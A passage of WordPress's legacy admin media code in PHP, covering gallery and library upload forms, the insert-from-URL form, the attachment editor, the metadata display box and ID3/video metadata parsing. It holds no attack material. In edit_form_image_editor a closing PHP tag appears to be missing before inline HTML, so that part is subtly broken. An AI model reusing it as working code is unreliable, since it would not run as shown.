		t.preloadImg.onerror = t.resetImageData;
		t.preloadImg.src = src;
	}
	};

jQuery(document).ready( function($) {
		$('.media-types input').click( function() {
			$('table.describe').toggleClass('not-image', $('#not-image').prop('checked') );
		});
	});
	</script>

<div id="media-items">
	<div class="media-item media-blank">
	<?php
	/**
	 * Filters the insert media from URL form HTML.
	 *
	 * @since 3.3.0
	 *
	 * @param string $form_html The insert from URL form HTML.
	 */
	echo apply_filters( 'type_url_form_media', wp_media_insert_url_form( $type ) );

?>
	</div>
	</div>
	</form>
	<?php
}

/**
 * Adds gallery form to upload iframe
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 * @global string $type
 * @global string $tab
 *
 * @param array $errors
 */
function media_upload_gallery_form( $errors ) {
	global $redir_tab, $type;

$redir_tab = 'gallery';
	media_upload_header();

$post_id         = intval( $_REQUEST['post_id'] );
	$form_action_url = admin_url( "media-upload.php?type=$type&tab=gallery&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form validate';

if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

?>
	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
			updateMediaForm();
		}
	});
	</script>
	<div id="sort-buttons" class="hide-if-no-js">
	<span>
		<?php _e( 'All Tabs:' ); ?>
	<a href="#" id="showall"><?php _e( 'Show' ); ?></a>
	<a href="#" id="hideall" style="display:none;"><?php _e( 'Hide' ); ?></a>
	</span>
		<?php _e( 'Sort Order:' ); ?>
	<a href="#" id="asc"><?php _e( 'Ascending' ); ?></a> |
	<a href="#" id="desc"><?php _e( 'Descending' ); ?></a> |
	<a href="#" id="clear"><?php _ex( 'Clear', 'verb' ); ?></a>
	</div>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="gallery-form">
		<?php wp_nonce_field( 'media-form' ); ?>
		<?php // media_upload_form( $errors ); ?>
	<table class="widefat">
	<thead><tr>
	<th><?php _e( 'Media' ); ?></th>
	<th class="order-head"><?php _e( 'Order' ); ?></th>
	<th class="actions-head"><?php _e( 'Actions' ); ?></th>
	</tr></thead>
	</table>
	<div id="media-items">
		<?php add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); ?>
		<?php echo get_media_items( $post_id, $errors ); ?>
	</div>

<p class="ml-submit">
		<?php
		submit_button(
			__( 'Save all changes' ),
			'savebutton',
			'save',
			false,
			array(
				'id'    => 'save-all',
				'style' => 'display: none;',
			)
		);
		?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
	<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
	</p>

<p class="ml-submit">
	<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" />
	<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" />
	</p>
	</div>
	</form>
	<?php
}

/**
 * Outputs the legacy media upload form for the media library.
 *
 * @since 2.5.0
 *
 * @global wpdb      $wpdb            WordPress database abstraction object.
 * @global WP_Query  $wp_query        WordPress Query object.
 * @global WP_Locale $wp_locale       WordPress date and time locale object.
 * @global string    $type
 * @global string    $tab
 * @global array     $post_mime_types
 *
 * @param array $errors
 */
function media_upload_library_form( $errors ) {
	global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;

media_upload_header();

$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;

$form_action_url = admin_url( "media-upload.php?type=$type&tab=library&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form validate';

if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

$q                   = $_GET;
	$q['posts_per_page'] = 10;
	$q['paged']          = isset( $q['paged'] ) ? intval( $q['paged'] ) : 0;
	if ( $q['paged'] < 1 ) {
		$q['paged'] = 1;
	}
	$q['offset'] = ( $q['paged'] - 1 ) * 10;
	if ( $q['offset'] < 1 ) {
		$q['offset'] = 0;
	}

list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query( $q );

?>
	<form id="filter" method="get">
	<input type="hidden" name="type" value="<?php echo esc_attr( $type ); ?>" />
	<input type="hidden" name="tab" value="<?php echo esc_attr( $tab ); ?>" />
	<input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="post_mime_type" value="<?php echo isset( $_GET['post_mime_type'] ) ? esc_attr( $_GET['post_mime_type'] ) : ''; ?>" />
	<input type="hidden" name="context" value="<?php echo isset( $_GET['context'] ) ? esc_attr( $_GET['context'] ) : ''; ?>" />

<ul class="subsubsub">
		<?php
		$type_links = array();
		$_num_posts = (array) wp_count_attachments();
		$matches    = wp_match_mime_types( array_keys( $post_mime_types ), array_keys( $_num_posts ) );
		foreach ( $matches as $_type => $reals ) {
			foreach ( $reals as $real ) {
				if ( isset( $num_posts[ $_type ] ) ) {
					$num_posts[ $_type ] += $_num_posts[ $real ];
				} else {
					$num_posts[ $_type ] = $_num_posts[ $real ];
				}
			}
		}
		// If available type specified by media button clicked, filter by that type.
		if ( empty( $_GET['post_mime_type'] ) && ! empty( $num_posts[ $type ] ) ) {
			$_GET['post_mime_type']                        = $type;
			list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
		}
		if ( empty( $_GET['post_mime_type'] ) || 'all' === $_GET['post_mime_type'] ) {
			$class = ' class="current"';
		} else {
			$class = '';
		}
		$type_links[] = '<li><a href="' . esc_url(
			add_query_arg(
				array(
					'post_mime_type' => 'all',
					'paged'          => false,
					'm'              => false,
				)
			)
		) . '"' . $class . '>' . __( 'All Types' ) . '</a>';
		foreach ( $post_mime_types as $mime_type => $label ) {
			$class = '';

if ( ! wp_match_mime_types( $mime_type, $avail_post_mime_types ) ) {
				continue;
			}

if ( isset( $_GET['post_mime_type'] ) && wp_match_mime_types( $mime_type, $_GET['post_mime_type'] ) ) {
				$class = ' class="current"';
			}

$type_links[] = '<li><a href="' . esc_url(
				add_query_arg(
					array(
						'post_mime_type' => $mime_type,
						'paged'          => false,
					)
				)
			) . '"' . $class . '>' . sprintf( translate_nooped_plural( $label[2], $num_posts[ $mime_type ] ), '<span id="' . $mime_type . '-counter">' . number_format_i18n( $num_posts[ $mime_type ] ) . '</span>' ) . '</a>';
		}
		/**
		 * Filters the media upload mime type list items.
		 *
		 * Returned values should begin with an `<li>` tag.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $type_links An array of list items containing mime type link HTML.
		 */
		echo implode( ' | </li>', apply_filters( 'media_upload_mime_type_links', $type_links ) ) . '</li>';
		unset( $type_links );
		?>
	</ul>

<?php
		$page_links = paginate_links(
			array(
				'base'      => add_query_arg( 'paged', '%#%' ),
				'format'    => '',
				'prev_text' => __( '&laquo;' ),
				'next_text' => __( '&raquo;' ),
				'total'     => ceil( $wp_query->found_posts / 10 ),
				'current'   => $q['paged'],
			)
		);

if ( $page_links ) {
			echo "<div class='tablenav-pages'>$page_links</div>";
		}
		?>

<div class="alignleft actions">
		<?php

$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";

$arc_result = $wpdb->get_results( $arc_query );

$month_count    = count( $arc_result );
		$selected_month = isset( $_GET['m'] ) ? $_GET['m'] : 0;

if ( $month_count && ! ( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) {
			?>
			<select name='m'>
			<option<?php selected( $selected_month, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option>
			<?php

foreach ( $arc_result as $arc_row ) {
				if ( 0 == $arc_row->yyear ) {
					continue;
				}

$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );

if ( $arc_row->yyear . $arc_row->mmonth == $selected_month ) {
					$default = ' selected="selected"';
				} else {
					$default = '';
				}

echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>";
				echo esc_html( $wp_locale->get_month( $arc_row->mmonth ) . " $arc_row->yyear" );
				echo "</option>\n";
			}

?>
			</select>
		<?php } ?>

<?php submit_button( __( 'Filter &#187;' ), '', 'post-query-submit', false ); ?>

</div>

<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="library-form">
	<?php wp_nonce_field( 'media-form' ); ?>
	<?php // media_upload_form( $errors ); ?>

<div id="media-items">
		<?php add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); ?>
		<?php echo get_media_items( null, $errors ); ?>
	</div>
	<p class="ml-submit">
		<?php submit_button( __( 'Save all changes' ), 'savebutton', 'save', false ); ?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	</p>
	</form>
	<?php
}

/**
 * Creates the form for external url
 *
 * @since 2.7.0
 *
 * @param string $default_view
 * @return string the form html
 */
function wp_media_insert_url_form( $default_view = 'image' ) {
	/** This filter is documented in wp-admin/includes/media.php */
	if ( ! apply_filters( 'disable_captions', '' ) ) {
		$caption = '
		<tr class="image-only">
			<th scope="row" class="label">
				<label for="caption"><span class="alignleft">' . __( 'Image Caption' ) . '</span></label>
			</th>
			<td class="field"><textarea id="caption" name="caption"></textarea></td>
		</tr>';
	} else {
		$caption = '';
	}

$default_align = get_option( 'image_default_align' );

if ( empty( $default_align ) ) {
		$default_align = 'none';
	}

if ( 'image' === $default_view ) {
		$view        = 'image-only';
		$table_class = '';
	} else {
		$view        = 'not-image';
		$table_class = $view;
	}

return '
	<p class="media-types"><label><input type="radio" name="media_type" value="image" id="image-only"' . checked( 'image-only', $view, false ) . ' /> ' . __( 'Image' ) . '</label> &nbsp; &nbsp; <label><input type="radio" name="media_type" value="generic" id="not-image"' . checked( 'not-image', $view, false ) . ' /> ' . __( 'Audio, Video, or Other File' ) . '</label></p>
	<p class="media-types media-types-required-info">' .
		/* translators: %s: Asterisk symbol (*). */
		sprintf( __( 'Required fields are marked %s' ), '<span class="required">*</span>' ) .
	'</p>
	<table class="describe ' . $table_class . '"><tbody>
		<tr>
			<th scope="row" class="label" style="width:130px;">
				<label for="src"><span class="alignleft">' . __( 'URL' ) . '</span> <span class="required">*</span></label>
				<span class="alignright" id="status_img"></span>
			</th>
			<td class="field"><input id="src" name="src" value="" type="text" required onblur="addExtImage.getImageData()" /></td>
		</tr>

<tr>
			<th scope="row" class="label">
				<label for="title"><span class="alignleft">' . __( 'Title' ) . '</span> <span class="required">*</span></label>
			</th>
			<td class="field"><input id="title" name="title" value="" type="text" required /></td>
		</tr>

<tr class="not-image"><td></td><td><p class="help">' . __( 'Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;' ) . '</p></td></tr>

<tr class="image-only">
			<th scope="row" class="label">
				<label for="alt"><span class="alignleft">' . __( 'Alternative Text' ) . '</span></label>
			</th>
			<td class="field"><input id="alt" name="alt" value="" type="text" required />
			<p class="help">' . __( 'Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ) . '</p></td>
		</tr>
		' . $caption . '
		<tr class="align image-only">
			<th scope="row" class="label"><p><label for="align">' . __( 'Alignment' ) . '</label></p></th>
			<td class="field">
				<input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'none' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-none" class="align image-align-none-label">' . __( 'None' ) . '</label>
				<input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'left' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-left" class="align image-align-left-label">' . __( 'Left' ) . '</label>
				<input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'center' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-center" class="align image-align-center-label">' . __( 'Center' ) . '</label>
				<input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'right' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-right" class="align image-align-right-label">' . __( 'Right' ) . '</label>
			</td>
		</tr>

<tr class="image-only">
			<th scope="row" class="label">
				<label for="url"><span class="alignleft">' . __( 'Link Image To:' ) . '</span></label>
			</th>
			<td class="field"><input id="url" name="url" value="" type="text" /><br />

<button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __( 'None' ) . '</button>
			<button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __( 'Link to image' ) . '</button>
			<p class="help">' . __( 'Enter a link URL or click above for presets.' ) . '</p></td>
		</tr>
		<tr class="image-only">
			<td></td>
			<td>
				<input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__( 'Insert into Post' ) . '" />
			</td>
		</tr>
		<tr class="not-image">
			<td></td>
			<td>
				' . get_submit_button( __( 'Insert into Post' ), '', 'insertonlybutton', false ) . '
			</td>
		</tr>
	</tbody></table>';
}

/**
 * Displays the multi-file uploader message.
 *
 * @since 2.6.0
 *
 * @global int $post_ID
 */
function media_upload_flash_bypass() {
	$browser_uploader = admin_url( 'media-new.php?browser-uploader' );

$post = get_post();
	if ( $post ) {
		$browser_uploader .= '&amp;post_id=' . intval( $post->ID );
	} elseif ( ! empty( $GLOBALS['post_ID'] ) ) {
		$browser_uploader .= '&amp;post_id=' . intval( $GLOBALS['post_ID'] );
	}

?>
	<p class="upload-flash-bypass">
	<?php
		printf(
			/* translators: 1: URL to browser uploader, 2: Additional link attributes. */
			__( 'You are using the multi-file uploader. Problems? Try the <a href="%1$s" %2$s>browser uploader</a> instead.' ),
			$browser_uploader,
			'target="_blank"'
		);
	?>
	</p>
	<?php
}

/**
 * Displays the browser's built-in uploader message.
 *
 * @since 2.6.0
 */
function media_upload_html_bypass() {
	?>
	<p class="upload-html-bypass hide-if-no-js">
		<?php _e( 'You are using the browser&#8217;s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href="#">Switch to the multi-file uploader</a>.' ); ?>
	</p>
	<?php
}

/**
 * Used to display a "After a file has been uploaded..." help message.
 *
 * @since 3.3.0
 */
function media_upload_text_after() {}

/**
 * Displays the checkbox to scale images.
 *
 * @since 3.3.0
 */
function media_upload_max_image_resize() {
	$checked = get_user_setting( 'upload_resize' ) ? ' checked="true"' : '';
	$a       = '';
	$end     = '';

if ( current_user_can( 'manage_options' ) ) {
		$a   = '<a href="' . esc_url( admin_url( 'options-media.php' ) ) . '" target="_blank">';
		$end = '</a>';
	}

?>
	<p class="hide-if-no-js"><label>
	<input name="image_resize" type="checkbox" id="image_resize" value="true"<?php echo $checked; ?> />
	<?php
	/* translators: 1: Link start tag, 2: Link end tag, 3: Width, 4: Height. */
	printf( __( 'Scale images to match the large size selected in %1$simage options%2$s (%3$d &times; %4$d).' ), $a, $end, (int) get_option( 'large_size_w', '1024' ), (int) get_option( 'large_size_h', '1024' ) );

?>
	</label></p>
	<?php
}

/**
 * Displays the out of storage quota message in Multisite.
 *
 * @since 3.5.0
 */
function multisite_over_quota_message() {
	echo '<p>' . sprintf(
		/* translators: %s: Allowed space allocation. */
		__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
		size_format( get_space_allowed() * MB_IN_BYTES )
	) . '</p>';
}

/**
 * Displays the image and editor in the post editor
 *
 * @since 3.5.0
 *
 * @param WP_Post $post A post object.
 */
function edit_form_image_editor( $post ) {
	$open = isset( $_GET['image-editor'] );

if ( $open ) {
		require_once ABSPATH . 'wp-admin/includes/image-edit.php';
	}

$thumb_url     = false;
	$attachment_id = intval( $post->ID );

if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, array( 900, 450 ), true );
	}

$alt_text = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

$att_url = wp_get_attachment_url( $post->ID );
	?>
	<div class="wp_attachment_holder wp-clearfix">
	<?php

if ( wp_attachment_is_image( $post->ID ) ) :
		$image_edit_button = '';
		if ( wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
			$nonce             = wp_create_nonce( "image_editor-$post->ID" );
			$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
		}

$open_style     = '';
		$not_open_style = '';

if ( $open ) {
			$open_style = ' style="display:none"';
		} else {
			$not_open_style = ' style="display:none"';
		}

?>
		<div class="imgedit-response" id="imgedit-response-<?php echo $attachment_id; ?>"></div>

<div<?php echo $open_style; ?> class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>"><img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" /></p>
			<p><?php echo $image_edit_button; ?></p>
		</div>
		<div<?php echo $not_open_style; ?> class="image-editor" id="image-editor-<?php echo $attachment_id; ?>">
		<?php

if ( $open ) {
			wp_image_editor( $attachment_id );
		}

?>
		</div>
		<?php
	elseif ( $attachment_id && wp_attachment_is( 'audio', $post ) ) :

wp_maybe_generate_attachment_metadata( $post );

echo wp_audio_shortcode( array( 'src' => $att_url ) );

elseif ( $attachment_id && wp_attachment_is( 'video', $post ) ) :

wp_maybe_generate_attachment_metadata( $post );

$meta = wp_get_attachment_metadata( $attachment_id );
		$w    = ! empty( $meta['width'] ) ? min( $meta['width'], 640 ) : 0;
		$h    = ! empty( $meta['height'] ) ? $meta['height'] : 0;

if ( $h && $w < $meta['width'] ) {
			$h = round( ( $meta['height'] * $w ) / $meta['width'] );
		}

$attr = array( 'src' => $att_url );

if ( ! empty( $w ) && ! empty( $h ) ) {
			$attr['width']  = $w;
			$attr['height'] = $h;
		}

$thumb_id = get_post_thumbnail_id( $attachment_id );

if ( ! empty( $thumb_id ) ) {
			$attr['poster'] = wp_get_attachment_url( $thumb_id );
		}

echo wp_video_shortcode( $attr );

elseif ( isset( $thumb_url[0] ) ) :
		?>
		<div class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>">
				<img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" />
			</p>
		</div>
		<?php

else :

/**
		 * Fires when an attachment type can't be rendered in the edit form.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Post $post A post object.
		 */
		do_action( 'wp_edit_form_attachment_display', $post );

endif;

?>
	</div>
	<div class="wp_attachment_details edit-form-section">
	<?php if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) : ?>
		<p class="attachment-alt-text">
			<label for="attachment_alt"><strong><?php _e( 'Alternative Text' ); ?></strong></label><br />
			<input type="text" class="widefat" name="_wp_attachment_image_alt" id="attachment_alt" aria-describedby="alt-text-description" value="<?php echo esc_attr( $alt_text ); ?>" />
		</p>
		<p class="attachment-alt-text-description" id="alt-text-description">
		<?php

printf(
			/* translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. */
			__( '<a href="%1$s" %2$s>Describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.' ),
			esc_url( 'https://www.w3.org/WAI/tutorials/images/decision-tree' ),
			'target="_blank" rel="noopener noreferrer"',
			sprintf(
				'<span class="screen-reader-text"> %s</span>',
				/* translators: Accessibility text. */
				__( '(opens in a new tab)' )
			)
		);

?>
		</p>
	<?php endif; ?>

<p>
			<label for="attachment_caption"><strong><?php _e( 'Caption' ); ?></strong></label><br />
			<textarea class="widefat" name="excerpt" id="attachment_caption"><?php echo $post->post_excerpt; ?></textarea>
		</p>

<?php

$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	$editor_args        = array(
		'textarea_name' => 'content',
		'textarea_rows' => 5,
		'media_buttons' => false,
		'tinymce'       => false,
		'quicktags'     => $quicktags_settings,
	);

<label for="attachment_content" class="attachment-content-description"><strong><?php _e( 'Description' ); ?></strong>
	<?php

if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		echo ': ' . __( 'Displayed on attachment pages.' );
	}

?>
	</label>
	<?php wp_editor( format_to_edit( $post->post_content ), 'attachment_content', $editor_args ); ?>

</div>
	<?php

$extras = get_compat_media_markup( $post->ID );
	echo $extras['item'];
	echo '<input type="hidden" id="image-edit-context" value="edit-attachment" />' . "\n";
}

/**
 * Displays non-editable attachment metadata in the publish meta box.
 *
 * @since 3.5.0
 */
function attachment_submitbox_metadata() {
	$post          = get_post();
	$attachment_id = $post->ID;

$file     = get_attached_file( $attachment_id );
	$filename = esc_html( wp_basename( $file ) );

$media_dims = '';
	$meta       = wp_get_attachment_metadata( $attachment_id );

if ( isset( $meta['width'], $meta['height'] ) ) {
		$media_dims .= "<span id='media-dims-$attachment_id'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	}
	/** This filter is documented in wp-admin/includes/media.php */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

$att_url = wp_get_attachment_url( $attachment_id );

?>
	<div class="misc-pub-section misc-pub-attachment">
		<label for="attachment_url"><?php _e( 'File URL:' ); ?></label>
		<input type="text" class="widefat urlfield" readonly="readonly" name="attachment_url" id="attachment_url" value="<?php echo esc_attr( $att_url ); ?>" />
		<span class="copy-to-clipboard-container">
			<button type="button" class="button copy-attachment-url edit-media" data-clipboard-target="#attachment_url"><?php _e( 'Copy URL' ); ?></button>
			<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
		</span>
	</div>
	<div class="misc-pub-section misc-pub-filename">
		<?php _e( 'File name:' ); ?> <strong><?php echo $filename; ?></strong>
	</div>
	<div class="misc-pub-section misc-pub-filetype">
		<?php _e( 'File type:' ); ?>
		<strong>
		<?php

if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) {
			echo esc_html( strtoupper( $matches[1] ) );
			list( $mime_type ) = explode( '/', $post->post_mime_type );
			if ( 'image' !== $mime_type && ! empty( $meta['mime_type'] ) ) {
				if ( "$mime_type/" . strtolower( $matches[1] ) !== $meta['mime_type'] ) {
					echo ' (' . $meta['mime_type'] . ')';
				}
			}
		} else {
			echo strtoupper( str_replace( 'image/', '', $post->post_mime_type ) );
		}

?>
		</strong>
	</div>

<?php

$file_size = false;

if ( isset( $meta['filesize'] ) ) {
		$file_size = $meta['filesize'];
	} elseif ( file_exists( $file ) ) {
		$file_size = filesize( $file );
	}

if ( ! empty( $file_size ) ) {
		?>
		<div class="misc-pub-section misc-pub-filesize">
			<?php _e( 'File size:' ); ?> <strong><?php echo size_format( $file_size ); ?></strong>
		</div>
		<?php
	}

if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		$fields = array(
			'length_formatted' => __( 'Length:' ),
			'bitrate'          => __( 'Bitrate:' ),
		);

/**
		 * Filters the audio and video metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 * @since 4.9.0 Added the `$post` parameter.
		 *
		 * @param array   $fields An array of the attachment metadata keys and labels.
		 * @param WP_Post $post   WP_Post object for the current attachment.
		 */
		$fields = apply_filters( 'media_submitbox_misc_sections', $fields, $post );

foreach ( $fields as $key => $label ) {
			if ( empty( $meta[ $key ] ) ) {
				continue;
			}

?>
			<div class="misc-pub-section misc-pub-mime-meta misc-pub-<?php echo sanitize_html_class( $key ); ?>">
				<?php echo $label; ?>
				<strong>
				<?php

switch ( $key ) {
					case 'bitrate':
						echo round( $meta['bitrate'] / 1000 ) . 'kb/s';
						if ( ! empty( $meta['bitrate_mode'] ) ) {
							echo ' ' . strtoupper( esc_html( $meta['bitrate_mode'] ) );
						}
						break;
					default:
						echo esc_html( $meta[ $key ] );
						break;
				}

?>
				</strong>
			</div>
			<?php
		}

$fields = array(
			'dataformat' => __( 'Audio Format:' ),
			'codec'      => __( 'Audio Codec:' ),
		);

/**
		 * Filters the audio attachment metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 * @since 4.9.0 Added the `$post` parameter.
		 *
		 * @param array   $fields An array of the attachment metadata keys and labels.
		 * @param WP_Post $post   WP_Post object for the current attachment.
		 */
		$audio_fields = apply_filters( 'audio_submitbox_misc_sections', $fields, $post );

foreach ( $audio_fields as $key => $label ) {
			if ( empty( $meta['audio'][ $key ] ) ) {
				continue;
			}

?>
			<div class="misc-pub-section misc-pub-audio misc-pub-<?php echo sanitize_html_class( $key ); ?>">
				<?php echo $label; ?> <strong><?php echo esc_html( $meta['audio'][ $key ] ); ?></strong>
			</div>
			<?php
		}
	}

if ( $media_dims ) {
		?>
		<div class="misc-pub-section misc-pub-dimensions">
			<?php _e( 'Dimensions:' ); ?> <strong><?php echo $media_dims; ?></strong>
		</div>
		<?php
	}

if ( ! empty( $meta['original_image'] ) ) {
		?>
		<div class="misc-pub-section misc-pub-original-image">
			<?php _e( 'Original image:' ); ?>
			<a href="<?php echo esc_url( wp_get_original_image_url( $attachment_id ) ); ?>">
				<?php echo esc_html( wp_basename( wp_get_original_image_path( $attachment_id ) ) ); ?>
			</a>
		</div>
		<?php
	}
}

/**
 * Parse ID3v2, ID3v1, and getID3 comments to extract usable data
 *
 * @since 3.6.0
 *
 * @param array $metadata An existing array with data
 * @param array $data Data supplied by ID3 tags
 */
function wp_add_id3_tag_data( &$metadata, $data ) {
	foreach ( array( 'id3v2', 'id3v1' ) as $version ) {
		if ( ! empty( $data[ $version ]['comments'] ) ) {
			foreach ( $data[ $version ]['comments'] as $key => $list ) {
				if ( 'length' !== $key && ! empty( $list ) ) {
					$metadata[ $key ] = wp_kses_post( reset( $list ) );
					// Fix bug in byte stream analysis.
					if ( 'terms_of_use' === $key && 0 === strpos( $metadata[ $key ], 'yright notice.' ) ) {
						$metadata[ $key ] = 'Cop' . $metadata[ $key ];
					}
				}
			}
			break;
		}
	}

if ( ! empty( $data['id3v2']['APIC'] ) ) {
		$image = reset( $data['id3v2']['APIC'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data'   => $image['data'],
				'mime'   => $image['image_mime'],
				'width'  => $image['image_width'],
				'height' => $image['image_height'],
			);
		}
	} elseif ( ! empty( $data['comments']['picture'] ) ) {
		$image = reset( $data['comments']['picture'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data' => $image['data'],
				'mime' => $image['image_mime'],
			);
		}
	}
}

/**
 * Retrieve metadata from a video file's ID3 tags
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|bool Returns array of metadata, if found.
 */
function wp_read_video_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

$metadata = array();

if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
		define( 'GETID3_TEMP_DIR', get_temp_dir() );
	}

if ( ! class_exists( 'getID3', false ) ) {
		require ABSPATH . WPINC . '/ID3/getid3.php';
	}

$id3  = new getID3();
	$data = $id3->analyze( $file );

if ( isset( $data['video']['lossless'] ) ) {
		$metadata['lossless'] = $data['video']['lossless'];
	}

if ( ! empty( $data['video']['bitrate'] ) ) {
		$metadata['bitrate'] = (int) $data['video']['bitrate'];
	}

if ( ! empty( $data['video']['bitrate_mode'] ) ) {
		$metadata['bitrate_mode'] = $data['video']['bitrate_mode'];
	}

if ( ! empty( $data['filesize'] ) ) {
		$metadata['filesize'] = (int) $data['filesize'];
	}

if ( ! empty( $data['mime_type'] ) ) {
		$metadata['mime_type'] = $data['mime_type'];
	}

if ( ! empty( $data['playtime_seconds'] ) ) {
		$metadata['length'] = (int) round( $data['playtime_seconds'] );
	}

if ( ! empty( $data['playtime_string'] ) ) {
		$metadata['length_formatted'] = $data['playtime_string'];
	}

if ( ! empty( $data['video']['resolution_x'] ) ) {
		$metadata['width'] = (int) $data['video']['resolution_x'];
	}

if ( ! empty( $data['video']['resolution_y'] ) ) {
		$metadata['height'] = (int) $data['video']['resolution_y'];
	}

if ( ! empty( $data['fileformat'] ) ) {
		$metadata['fileformat'] = $data['fileformat'];
	}

if ( ! empty( $data['video']['dataformat'] ) ) {
		$metadata['dataformat'] = $data['video']['dataformat'];
	}

if ( ! empty( $data['video']['encoder'] ) ) {
		$metadata['encoder'] = $data['video']['encoder'];
	}

if ( ! empty( $data['video']['codec'] ) ) {
		$metadata['codec'] = $data['video']['codec'];
	}

if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata['audio'] = $data['audio'];
	}

if ( empty( $metadata['created_timestamp'] ) ) {
		$created_timestamp = wp_get_media_creation_timestamp( $data );

if ( false !== $created_timestamp ) {
			$metadata['created_timestamp'] = $created_timestamp;
		}
	}

wp_add_id3_tag_data( $metadata, $data );

$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;

/**
	 * Filters the array of metadata retrieved from a video.
	 *
	 * In core, usually this selection is what is stored.
